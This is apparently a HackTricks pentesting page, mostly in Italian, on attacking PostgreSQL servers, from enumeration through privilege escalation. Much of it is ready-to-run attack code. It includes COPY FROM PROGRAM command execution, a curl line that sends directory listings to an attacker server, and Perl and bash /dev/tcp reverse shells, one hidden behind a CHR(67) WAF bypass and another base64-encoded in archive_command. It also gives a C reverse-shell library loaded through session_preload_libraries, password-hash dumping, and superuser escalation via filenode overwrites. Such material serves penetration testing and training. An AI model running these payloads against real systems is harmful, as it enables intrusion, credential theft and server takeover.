5432,5433 - Pentesting Postgresql
Reading time: 27 minutes
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
PostgreSQL è descritto come un sistema di database relazionale ad oggetti che è open source. Questo sistema non solo utilizza il linguaggio SQL ma lo potenzia con funzionalità aggiuntive. Le sue capacità gli permettono di gestire un'ampia gamma di tipi di dati e operazioni, rendendolo una scelta versatile per sviluppatori e organizzazioni.
Porta di default: 5432, e se questa porta è già in uso sembra che postgresql utilizzi la porta successiva (probabilmente 5433) che non è in uso.
PORT STATE SERVICE
5432/tcp open pgsql
Connessione e enumerazione di base
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
warning
Se eseguendo \list trovi un database chiamato rdsadmin sai che ti trovi all'interno di un AWS postgresql database.
Per maggiori informazioni su come abusare di un database PostgreSQL consulta:
Enumerazione automatica
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Port scanning
Secondo this research, quando un tentativo di connessione fallisce, dblink solleva un'eccezione sqlclient_unable_to_establish_sqlconnection che include una spiegazione dell'errore. Esempi di questi dettagli sono elencati di seguito.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- Host non raggiungibile
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port chiusa
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port è aperto
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
o
DETAIL: FATAL: password authentication failed for user "name"
- Port è aperta o filtrata
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL functions, it is currently not possible to obtain exception details. However, if you have direct access to the PostgreSQL server, you can retrieve the necessary information. If extracting usernames and passwords from the system tables is not feasible, you may consider utilizing the wordlist attack method discussed in the preceding section, as it could potentially yield positive results.
Enumerazione dei privilegi
Ruoli
| Tipi di ruolo | |
|---|---|
| rolsuper | Il ruolo ha privilegi di superuser |
| rolinherit | Il ruolo eredita automaticamente i privilegi dei ruoli di cui è membro |
| rolcreaterole | Il ruolo può creare altri ruoli |
| rolcreatedb | Il ruolo può creare database |
| rolcanlogin | Il ruolo può effettuare il login. Cioè, a questo ruolo può essere assegnato l'identificatore di autorizzazione iniziale della sessione |
| rolreplication | Il ruolo è un ruolo di replica. Un ruolo di replica può avviare connessioni di replica e creare ed eliminare replication slots. |
| rolconnlimit | Per i ruoli che possono effettuare il login, imposta il numero massimo di connessioni concorrenti che questo ruolo può effettuare. -1 significa nessun limite. |
| rolpassword | Non è la password (viene sempre visualizzato come ********) |
| rolvaliduntil | Scadenza della password (usato solo per l'autenticazione tramite password); null se senza scadenza |
| rolbypassrls | Il ruolo bypassa tutte le row-level security policy, vedi Section 5.8 per maggiori informazioni. |
| rolconfig | Valori predefiniti specifici del ruolo per le variabili di configurazione a runtime |
| oid | ID del ruolo |
Gruppi interessanti
- Se sei membro di
pg_execute_server_programpuoi eseguire programmi - Se sei membro di
pg_read_server_filespuoi leggere file - Se sei membro di
pg_write_server_filespuoi scrivere file
tip
Nota che in Postgres un utente, un gruppo e un ruolo sono la stessa cosa. Dipende solo da come lo usi e se gli permetti di effettuare il login.
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
Tabelle
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Funzioni
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
Azioni sul file system
Lettura di directory e file
Da questo commit i membri del gruppo definito DEFAULT_ROLE_READ_SERVER_FILES (chiamato pg_read_server_files) e i super users possono usare il metodo COPY su qualsiasi percorso (vedi convert_and_check_filename in genfile.c):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
warning
Ricorda che se non sei super user ma hai il permesso CREATEROLE puoi renderti membro di quel gruppo:
GRANT pg_read_server_files TO username;
Esistono altre funzioni di postgres che possono essere usate per leggere file o elencare una directory. Solo i superusers e gli utenti con permessi espliciti possono usarle:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
Puoi trovare altre funzioni in https://www.postgresql.org/docs/current/functions-admin.html
Scrittura semplice di file
Solo super users e i membri di pg_write_server_files possono usare copy per scrivere file.
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
warning
Ricorda che se non sei super user ma hai il permesso CREATEROLE puoi renderti membro di quel gruppo:
GRANT pg_write_server_files TO username;
Ricorda che COPY non può gestire i caratteri di nuova riga, quindi anche se stai usando un payload base64 devi inviare tutto in una singola riga.
Una limitazione molto importante di questa tecnica è che copy non può essere usato per scrivere file binari poiché modifica alcuni valori binari.
Caricamento di file binari
Tuttavia, ci sono altre tecniche per caricare grandi file binari:
Big Binary Files Upload (PostgreSQL)
Aggiornamento dei dati di una tabella PostgreSQL tramite scrittura su file locale
Se hai i permessi necessari per leggere e scrivere i file del server PostgreSQL, puoi aggiornare qualsiasi tabella sul server sovrascrivendo il filenode associato in the PostgreSQL data directory. Maggiori dettagli su questa tecnica qui.
Passaggi richiesti:
- Ottieni la directory dei dati di PostgreSQL
SELECT setting FROM pg_settings WHERE name = 'data_directory';
Nota: Se non riesci a recuperare il percorso corrente della directory dei dati dalle impostazioni, puoi interrogare la major version di PostgreSQL tramite la query SELECT version() e provare a brute-forzare il percorso. I percorsi comuni della directory dei dati nelle installazioni Unix di PostgreSQL sono /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Un nome di cluster comune è main.
- Ottieni un percorso relativo al filenode associato alla tabella target
SELECT pg_relation_filepath('{TABLE_NAME}')
Questa query dovrebbe restituire qualcosa come base/3/1337. Il percorso completo sul disco sarà $DATA_DIRECTORY/base/3/1337, i.e. /var/lib/postgresql/13/main/base/3/1337.
- Scarica il filenode tramite le funzioni
lo_*
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- Ottieni il tipo di dato associato alla tabella target
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- Usa il PostgreSQL Filenode Editor per edit the filenode; imposta tutti i flag booleani
rol*a 1 per permessi completi.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

- Ricarica il filenode modificato tramite le funzioni
lo_*, e sovrascrivi il file originale sul disco
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (Opzionale) Pulisci la cache in memoria delle tabelle eseguendo una query SQL costosa
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- Ora dovresti vedere i valori della tabella aggiornati in PostgreSQL.
Puoi anche diventare superadmin modificando la tabella pg_authid. Vedi la sezione seguente.
RCE
RCE to program
Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Esempio da eseguire:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
warning
Ricorda che se non sei super user ma hai i permessi CREATEROLE puoi renderti membro di quel gruppo:
GRANT pg_execute_server_program TO username;
Oppure usa il modulo multi/postgres/postgres_copy_from_program_cmd_exec di metasploit.
More information about this vulnerability here. Sebbene segnalato come CVE-2019-9193, Postges ha dichiarato che si tratta di una feature and will not be fixed.
Bypassare i filtri di parole chiave/WAF per raggiungere COPY PROGRAM
In contesti SQLi con query impilate, un WAF può rimuovere o bloccare la parola chiave letterale COPY. Puoi costruire dinamicamente l'istruzione ed eseguirla all'interno di un blocco PL/pgSQL DO. Ad esempio, costruisci la C iniziale con CHR(67) per bypassare filtri ingenui ed EXECUTE il comando assemblato:
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
Questo pattern evita il filtering basato su keyword statiche e ottiene comunque l'esecuzione di comandi OS tramite COPY ... PROGRAM. È particolarmente utile quando l'applicazione stampa errori SQL e permette stacked queries.
RCE with PostgreSQL Languages
RCE with PostgreSQL extensions
Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.
RCE with PostgreSQL Extensions
PostgreSQL configuration file RCE
tip
The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
Il file di configurazione di PostgreSQL è scrivibile dall'utente postgres, che è quello che esegue il database, quindi come superuser puoi scrivere file nel filesystem, e di conseguenza puoi sovrascrivere questo file.
.png)
RCE with ssl_passphrase_command
More information about this technique here.
Il file di configurazione ha alcuni attributi interessanti che possono portare a RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'Percorso della chiave privata del databasessl_passphrase_command = ''Se il file privato è protetto da password (cifrato), postgresql eseguirà il comando indicato in questo attributo.ssl_passphrase_command_supports_reload = offSe questo attributo è on il comando che viene eseguito se la chiave è protetta da password verrà eseguito quandopg_reload_conf()è eseguito.
Quindi, un attaccante dovrà:
- Dump della chiave privata dal server
- Cifrare la chiave privata scaricata:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
- Sovrascrivere
- Dump della configurazione corrente di postgresql
- Sovrascrivere la configurazione con la configurazione menzionata:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'ssl_passphrase_command_supports_reload = on
- Eseguire
pg_reload_conf()
Durante i test ho notato che questo funzionerà solo se il file della chiave privata ha permessi 640, è di proprietà di root e del gruppo ssl-cert o postgres (quindi l'utente postgres può leggerlo), e si trova in /var/lib/postgresql/12/main.
RCE with archive_command
More information about this config and about WAL here.
Un altro attributo nel file di configurazione sfruttabile è archive_command.
Perché ciò funzioni, il parametro archive_mode deve essere 'on' o 'always'. Se è così, allora possiamo sovrascrivere il comando in archive_command e forzarlo a eseguire tramite le operazioni WAL (write-ahead logging).
I passaggi generali sono:
- Verificare se archive mode è abilitato:
SELECT current_setting('archive_mode') - Sovrascrivere
archive_commandcon il payload. Ad es., una reverse shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl' - Ricaricare la config:
SELECT pg_reload_conf() - Forzare l'operazione WAL per eseguirla, che chiamerà l'archive command:
SELECT pg_switch_wal()oSELECT pg_switch_xlog()per alcune versioni di Postgres
Editing postgresql.conf via Large Objects (SQLi-friendly)
Quando sono necessari scritti multi-linea (es., per impostare più GUC), usa i PostgreSQL Large Objects per leggere e sovrascrivere la config interamente da SQL. Questo approccio è ideale in contesti SQLi dove COPY non può gestire newline o scritture binary-safe.
Example (adjust the major version and path if needed, e.g. version 15 on Debian):
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');
-- 3) Prepare a minimal config snippet locally that forces execution via WAL
-- and base64-encode its contents, for example:
-- archive_mode = 'always'\n
-- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
-- archive_timeout = 1\n
-- Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions
This yields reliable OS command execution via archive_command as the postgres user, provided archive_mode is enabled. In practice, setting a low archive_timeout can cause rapid invocation without requiring an explicit WAL switch.
RCE with preload libraries
More information about this technique here.
This attack vector takes advantage of the following configuration variables:
session_preload_libraries-- libraries that will be loaded by the PostgreSQL server at the client connection.dynamic_library_path-- list of directories where the PostgreSQL server will search for the libraries.
We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.
The attack steps are:
- Download the original
postgresql.conf - Include the
/tmp/directory in thedynamic_library_pathvalue, e.g.dynamic_library_path = '/tmp:$libdir' - Include the malicious library name in the
session_preload_librariesvalue, e.g.session_preload_libraries = 'payload.so' - Check major PostgreSQL version via the
SELECT version()query - Compile the malicious library code with the correct PostgreSQL dev package Sample code:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
Compiling the code:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- Upload the malicious
postgresql.conf, created in steps 2-3, and overwrite the original one - Upload the
payload.sofrom step 5 to the/tmpdirectory - Reload the server configuration by restarting the server or invoking the
SELECT pg_reload_conf()query - At the next DB connection, you will receive the reverse shell connection.
Postgres Privesc
CREATEROLE Privesc
Grant
According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.
So, if you have CREATEROLE permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
Modifica Password
Gli utenti con questo ruolo possono anche cambiare le password di altri non-superusers:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
È abbastanza comune trovare che gli utenti locali possono accedere a PostgreSQL senza fornire alcuna password. Pertanto, una volta ottenuti i permessi per eseguire codice puoi abusare di questi permessi per ottenere il ruolo SUPERUSER:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
tip
Questo è solitamente possibile a causa delle seguenti righe nel file pg_hba.conf:
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
ALTER TABLE privesc
In this writeup è spiegato come sia stato possibile una privesc in Postgres GCP sfruttando il privilegio ALTER TABLE concesso all'utente.
Quando provi a rendere un altro utente proprietario di una tabella dovresti ricevere un errore che lo impedisce, ma apparentemente GCP ha dato quell'opzione all'utente postgres non-superuser in GCP:
.png)
Unendo questa idea al fatto che quando i comandi INSERT/UPDATE/ANALYZE vengono eseguiti su una tabella con una funzione di indice, la funzione viene chiamata come parte del comando con i tabella permessi del proprietario. È possibile creare un indice con una funzione e assegnare permessi di proprietario a un super user su quella tabella, e poi eseguire ANALYZE sulla tabella con la funzione malevola che sarà in grado di eseguire comandi perché utilizza i privilegi del proprietario.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Sfruttamento
- Inizia creando una nuova tabella.
- Inserisci del contenuto irrilevante nella tabella per fornire dati alla funzione di indice.
- Sviluppa una funzione di indice malevola che contenga un payload per l'esecuzione di codice, permettendo l'esecuzione di comandi non autorizzati.
- ALTER il proprietario della tabella impostandolo su "cloudsqladmin", che è il ruolo superuser di GCP usato esclusivamente da Cloud SQL per gestire e mantenere il database.
- Esegui un'operazione ANALYZE sulla tabella. Questa azione costringe il motore PostgreSQL a cambiare il contesto utente a quello del proprietario della tabella, "cloudsqladmin". Di conseguenza, la funzione di indice malevola viene chiamata con i permessi di "cloudsqladmin", abilitando così l'esecuzione del comando shell precedentemente non autorizzato.
In PostgreSQL, questo flusso appare più o meno così:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
Quindi, la tabella shell_commands_results conterrà l'output del codice eseguito:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
Accesso locale
Alcune istanze postgresql mal configurate potrebbero consentire il login di qualsiasi utente locale; è possibile connettersi da 127.0.0.1 usando la dblink funzione:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
warning
Nota che per far funzionare la query precedente la funzione dblink deve esistere. Se non esiste, puoi provare a crearla con
CREATE EXTENSION dblink;
Se hai la password di un utente con privilegi più elevati, ma l'utente non è autorizzato a effettuare il login da un external IP puoi usare la seguente funzione per eseguire query come quell'utente:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
È possibile verificare se questa funzione esiste con:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
Funzione definita personalizzata con SECURITY DEFINER
In this writeup, pentesters sono riusciti a privesc all'interno di un'istanza postgres fornita da IBM, perché hanno trovato questa funzione con il flag SECURITY DEFINER:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
Come explained in the docs, una funzione con SECURITY DEFINER viene eseguita con i privilegi dell'utente che la possiede. Pertanto, se la funzione è vulnerabile a SQL Injection o esegue alcune azioni privilegiate con parametri controllati dall'attaccante, può essere abusata per escalate privileges inside postgres.
Nella riga 4 del codice precedente puoi vedere che la funzione ha il flag SECURITY DEFINER.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
E poi esegui comandi:
.png)
Brute-force delle password con PL/pgSQL
PL/pgSQL è un linguaggio di programmazione completo che offre un maggiore controllo procedurale rispetto a SQL. Consente l'uso di loop e altre strutture di controllo per migliorare la logica del programma. Inoltre, le istruzioni SQL e i trigger possono invocare funzioni create utilizzando il linguaggio PL/pgSQL. Questa integrazione permette un approccio più completo e versatile alla programmazione e all'automazione del database.
Puoi abusare di questo linguaggio per chiedere a PostgreSQL di eseguire un brute-force sulle credenziali degli utenti.
Privesc sovrascrivendo le tabelle interne di PostgreSQL
tip
Il seguente vettore di privesc è particolarmente utile in contesti SQLi vincolati, poiché tutti i passaggi possono essere eseguiti tramite SELECT annidate
Se puoi leggere e scrivere i file del server PostgreSQL, puoi diventare superuser sovrascrivendo il filenode su disco di PostgreSQL associato alla tabella interna pg_authid.
Leggi di più su questa tecnica here.
I passaggi dell'attacco sono:
- Ottieni la directory dei dati di PostgreSQL
- Ottieni un percorso relativo al filenode associato alla tabella
pg_authid - Scarica il filenode tramite le funzioni
lo_* - Recupera il tipo di dato associato alla tabella
pg_authid - Usa il PostgreSQL Filenode Editor per modificare il filenode; imposta tutti i flag booleani
rol*a 1 per ottenere permessi completi. - Ricarica il filenode modificato tramite le funzioni
lo_*e sovrascrivi il file originale su disco - (Opzionalmente) Pulisci la cache delle tabelle in memoria eseguendo una query SQL costosa
- Dovresti ora avere i privilegi di un superadmin completo.
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
logging
All'interno del file postgresql.conf puoi abilitare i log di postgresql modificando:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Quindi, riavvia il servizio.
pgadmin
pgadmin è una piattaforma di amministrazione e sviluppo per PostgreSQL.
Puoi trovare passwords all'interno del file pgadmin4.db
Puoi decifrarle usando la funzione decrypt all'interno dello script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
L'autenticazione dei client in PostgreSQL è gestita tramite un file di configurazione chiamato pg_hba.conf. Questo file contiene una serie di record, ognuno dei quali specifica un tipo di connessione, l'intervallo di indirizzi IP del client (se applicabile), il nome del database, il nome utente e il metodo di autenticazione da usare per abbinare le connessioni. Il primo record che corrisponde al tipo di connessione, all'indirizzo del client, al database richiesto e al nome utente viene usato per l'autenticazione. Non esiste alcun fallback o riserva se l'autenticazione fallisce. Se nessun record corrisponde, l'accesso viene negato.
I metodi di autenticazione basati su password disponibili in pg_hba.conf sono md5, crypt, e password. Questi metodi differiscono nel modo in cui la password viene trasmessa: hash MD5, criptata con crypt, o in chiaro. È importante notare che il metodo crypt non può essere usato con password che sono state criptate in pg_authid.
Riferimenti
- HTB: DarkCorp by 0xdf
- PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM
- Postgres SQL injection to RCE with archive_command (The Gray Area)
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks